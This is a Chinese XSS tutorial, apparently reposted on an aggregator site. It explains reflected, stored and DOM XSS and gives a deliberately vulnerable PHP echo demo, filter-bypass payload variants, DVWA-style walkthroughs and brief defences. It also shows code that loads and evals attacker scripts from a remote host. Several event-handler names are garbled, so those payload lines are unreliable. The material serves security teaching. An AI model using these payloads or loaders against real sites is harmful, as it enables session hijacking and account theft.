首页 / 更多教程 / XSS(跨站脚本攻击)漏洞
XSS(跨站脚本攻击)漏洞
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了XSS(跨站脚本攻击)漏洞,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含11489字,纯文字阅读大概需要17分钟。
内容图文
XSS(跨站脚本攻击)漏洞初探
0x01 什么是XSS漏洞(跨站脚本攻击)?
? XSS又叫CSS(Cross Site Script),跨站脚本攻击,为了和层叠样式表(Cascading Style Sheet,CSS)有所区别而改名。XSS是指攻击者在页面中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码就会在用户的浏览器上执行。XSS属于客户端攻击,受害者最终是用户。
? 这里的跨站访问,可以是从正常的网站跨到黑客的服务器,也可以是黑客的服务器跨到正常的网站。XSS漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入,进而篡改网页。
? XSS漏洞发生在服务器端,在浏览器上被执行。
demo:
Index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf8">
<title>xss</title>
</head>
<body>
<form method="get" action="xss.php" >
<h1>XSS测试</h1>
<label><textarea rows="10" cols="80" name="param">
</textarea></label><br />
<label><input type="submit" name="submit" value="提交" /></label>
<label><input type="reset" name="reset" value="重置" /></label>
</form>
</body>
</html>
xss.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf8">
<title>xss</title>
</head>
<body>
<?php
if(isset($_REQUEST['submit'])) {
$output = $_REQUEST["param"];
echo $output."<br />";
echo "<a href='./Index.html'>返回</a>";
} else {
echo "<a href='./Index.html'>返回</a>";
}
?>
</body>
</html>
<script>alert(/xss/)</script>
0x02 XSS漏洞成因
? 注入型漏洞的本质都是服务端分不清用户输入的内容是数据还是指令代码,从而造成用户输入恶意代码传到服务端执行。
? 一、能上传恶意代码。
? 二、恶意代码被执行。
0x03 XSS漏洞的危害
1、刷流量,执行弹窗广告。
2、劫持用户会话,执行任意操作。
3、盗取用户账号。
4、窃取用户Cookie信息,冒充用户身份进入网站。
5、传播蠕虫病毒。
6、网站挂马。
7、控制受害者机器向其它网站发起攻击(重定向语句)。
等等
0x04 XSS漏洞的分类
? XSS跨站脚本攻击:两种情况。一种通过外部输入然后直接在浏览器端触发,即反射型XSS;还有一种则是先把利用代码保存在数据库或文件中,当web程序读取利用代码并输出在页面上时触发漏洞,即存储型XSS。DOM型XSS是一种特殊的反射型XSS。
1、反射型XSS
? 反射型XSS是一种非持续型攻击。漏洞本身存在,但是需要攻击者构造出来,然后让对方去触发。它不会对正常的访问造成跨站攻击。这种攻击是一次型攻击,它不会写入到数据库里。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。这个过程就像一次性反射。交互的数据一般不会被存在数据库里面。一般出现在查询类页面。
? 反射型XSS这个基本可以说是没什么利用价值,因为它是不能留存下来的,你改变数据执行了一个临时的XSS,但这个数据没有存储到服务器、数据库中,不能再次展示给别人看,其他人进入同一页面请求服务器并不受你的脚本影响。反射型一般要配合社工。
例子:
2、存储型XSS
? 存储型XSS是持久性跨站脚本漏洞。持久性体现在恶意代码不是某个参数(变量),而实写进数据库或文件等可以长时间保存数据的介质中,恶意代码可以被反复执行。
? 存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。需要浏览器从服务器载入恶意的XSS代码才能真正出发XSS攻击。下次回显会出现异常界面或弹出异常框,如果进行恶意攻击,可能后果不堪设想。该类型攻击性非常大,危险也非常大。存储型XSS在SRC属于中危漏洞,在项目上属于高危漏洞,杀伤力较大。
? 存储型XSS恶意代码存储在数据库中
存储型XSS攻击模型
? 由于攻击者输入恶意数据保存在数据库,再由服务器脚本程序从数据库中读取数据。所以大部分的存储型XSS漏洞都是在表单提交上会发生的。
存储型XSS可能出现的位置:
(1)用户注册
(2)留言板
(3)上传文件的文件名处
(4)管理员可见的报错信息
(5)在线聊天框
(6)客服
(7)问题反馈区
(8)邮件信箱
理论上,见框就插。
检测
? 针对这种特性,我们需要做的就是在程序任何有可能提交表单上进行验证。
反射型XSS和存储型XSS的最大区别是JS代码是否存储在数据库或服务器中。
3、DOM型XSS
? DOM型XSS攻击是一种特殊的反射型XSS攻击。主要用于改变前端DOM结构。
? DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。
其防御在于:
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到则进行JS编码。
4、Flash型XSS
0x05 XSS代码构造
1、利用<>构造HTML或JS标签,触发XSS攻击。
利用<>构造
<script>alert(/xss/)</script>
2、伪协议
javascript:alert(/xss/)
<a href="javascript:alert(/xss/)"</a>
<img src="javascript:alert(/xss/)">
3、XSS事件
产生自己的事件
? "事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动、键盘输入等),JS可以对这些事件进行响应。所以我们可以通过事件触发JS函数,触发XSS攻击。
如,
<img src='./hack.jpg' onm ouseover='alert(/xss/)'>
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
单行文本框点击事件,
<input type="text" onkeydown="alert(/xss/)">
当点击键盘任意一个案件时都会触发XSS代码。
例子:
鼠标移动事件--------鼠标移动到图片上时触发
<img src='./hack.jpg' onm ouseover='alert(/xss/)'>
键盘点击事件-------按键时触发
<input type="text" onkeydown="alert(/xss/)">
<input type="text" onkeyup="alert(/xss/)">
点击触发事件
<input type="button" onclick="alert(/xss/)">
文档载入失败触发弹窗
<img src='#' one rror='alert(/xss/)'>
光标聚集事件
<svg onl oad="alert(/xss/)">
<input onfocus=alert(/xss/) autofocus>
0x06 XSS的变形
1、大小写转换
<Img sRc='#' one rror="alert(/xss/)" />
注:alert不能进行大小写转换,因为JS代码对大小写敏感
<a hREf="javascript:alert(/xss/)">cliceme</A>
HTML对引号不敏感
<img src="#" one rror="alert(/xss/)"/>
<img src='#' one rror='alert(/xss/)'/>
<img src=# one rror=alert(/xss/)/>
3、[/]代替空格
可以用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)'/>
4、回车
读到空白字符就认为是独立的字符串
<A hREf="javascript:alert(/xss/)">click me!</a>
<A hREf="j
a v
a s
c R
i p
t :
alert(/xss/)">click me!</a>
页面源代码
<Img/sRc='#'/Onerror ='alert(/xss/)' /> 可以触发XSS攻击
<Img/sRc='#'/Onerro r ='alert(/xss/)' /> 不能触发XSS攻击
不能将onerror关键字分开。
5、对标签的属性值转码
<A hREf="javas	c r ipt:alert(/xss/)">click me!</a>
页面源代码
6、拆分跨站,当对输入长度有限制时可以避免shellcode过长
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
7、双写绕过
<scr<script>ipt>alert(/xss/)<scr<script>ipt>
0x07 Shellcode的调用
? Shellcode就是利用漏洞所执行的代码。完整的XSS攻击,会将Shellcode存放在一定的地方,然后出发漏洞,调用Shellcode。
1、远程调用
? 可以将JS代码单独放在一个JS文件中,然后通过http协议远程加载该脚本。如
<script src="http://192.168.4.131:8087/xss.js"></script>
这是比较常用的方式。xss.js的内容如下
alert('xss.js');
2、windows.location.hash
location 作用:获取浏览器URL地址栏中的URL地址。
构造如下代码
?submit=submit¶m=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.locaton.hash/)
直接提交到测试页面xss.php
location.hash 取得的内容是’#'后面的内容,即
alert(/This is windows.location.hash/)
3、XSS Downloader
? XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。在使用XSS Downloader之前需要一个我们自己的页面,xss_downloader.php,内容如下
<?php
//header('Access-Control-Allow-Origin: *');
//header('Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept');
?>
~~~~~~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~~~~~~~~
<script>
function XSS(){
if(window.XMLHttpRequest) {
a=new XMLHttpRequest();
} else if(window.ActiveXObject) {
a=new ActiveXObject("Microsoft.XMLHTTP");
} else {return};
a.open('get','http://192.168.4.131:8087/xss_downloader.php',false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexof('BOF|')+4,b.indexof('|EOF'))));}
XSS();
</script>
4、备选存储技术
? 我们可以把shellcode存储在客户端的本地中,比如HTTP Cookie、Flash共享对象、UserData、localStorage等。
0x08 XSS漏洞测试终极代码
<script "'Oonn>
这行代码可以测试是否过滤script、双引号"、单引号’、on、<>、过滤的次数等。
0x09 XSS实例分析
实例一、反射型XSS
在输入框输入测试代码
<script "'Oonn>
回显结果
XSS漏洞查看页面回显发现不了多少问题,需要查看页面源码。
? 通过查看源码发现<和"被过滤,对其进行了实体化操作,不能用<和"。可以采用“事件”,常用有onclick、onerror、onkeydown、onkeyup、onload、onfocus和onmouseover等。我们可以尝试用鼠标移动事件触发XSS攻击,选择用鼠标移动事件触发XSS攻击是因为构造的payload不包含<和",构造payload,注意:构造payload时要考虑单引号前后都要闭合。
'οnmοuseοver='alert(/xss/)
触发XSS攻击。(注意:鼠标移动事件触发的XSS攻击一定要移动鼠标到恶意代码区才能触发XSS攻击。)
这个是反射型XSS,由于恶意代码没有存储在数据库,所以只能触发一次XSS攻击。
实例二、
通过查看源代码发现有字符转义、大小写转换。使用伪协议构造payload
javascript:alert(/xss/)
链接不合法
测试一下http:www.baidu.com
链接有效。
重新构造payload
javascript:alert('http://www.baidu.com')
后端过滤了script,将c转义
javascript:alert('http://www.baidu.com')
通过实例二想告诉大家alert()函数里面的内容不仅仅限于/xss/,不要因为作题而出现思维定势的情况。
实例三、
传参
没有参数传进来。用BurpSuitr抓包,发现数据包中少了Referer,添加Referer,并在Referer中添加参数
页面有回显
实例四、存储型XSS
构造payload
<img src=1 one rror=alert(/xss/)>
抓包
查看页面
有弹窗,触发XSS攻击。
我们查看源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
name有正则匹配,但是匹配不到我们构造的payload。
通过实例四想告诉大家,存储型XSS攻击的注入点不一定都在留言框内,有也有可能在其他地方。
存储型XSS恶意代码注入成功后将会保存在数据库,但又用户访问时,服务器会从数据库中提取数据,因此也会提取出恶意代码到浏览器执行。重新刷新页面还有会XSS弹窗。
实例五、DOM型XSS
提交表单数据
输入payload
<img src=1 one rror=alert(/xss/)>
没有回显效果
查看DOM结构
查看源码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
通过源码发现,如果我们用常规的方法构造payload,无论我们怎么构造,都无法注入恶意代码。So,我们需要采用非常规的方法构造payload。这里涉及到URL的知识。构造payload
English #<script>alert(/xss/)</script>
English #</option></select><img src=1 one rror=alert(/xss/)>
触发XSS后查看DOM结构
DOM结构被修改。
0x10 XSS(跨站脚本攻击)防御
(1) 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码,防止脚本注入。
(2) 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空。
内容总结
以上是互联网集市为您收集整理的XSS(跨站脚本攻击)漏洞全部内容,希望文章能够帮你解决XSS(跨站脚本攻击)漏洞所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。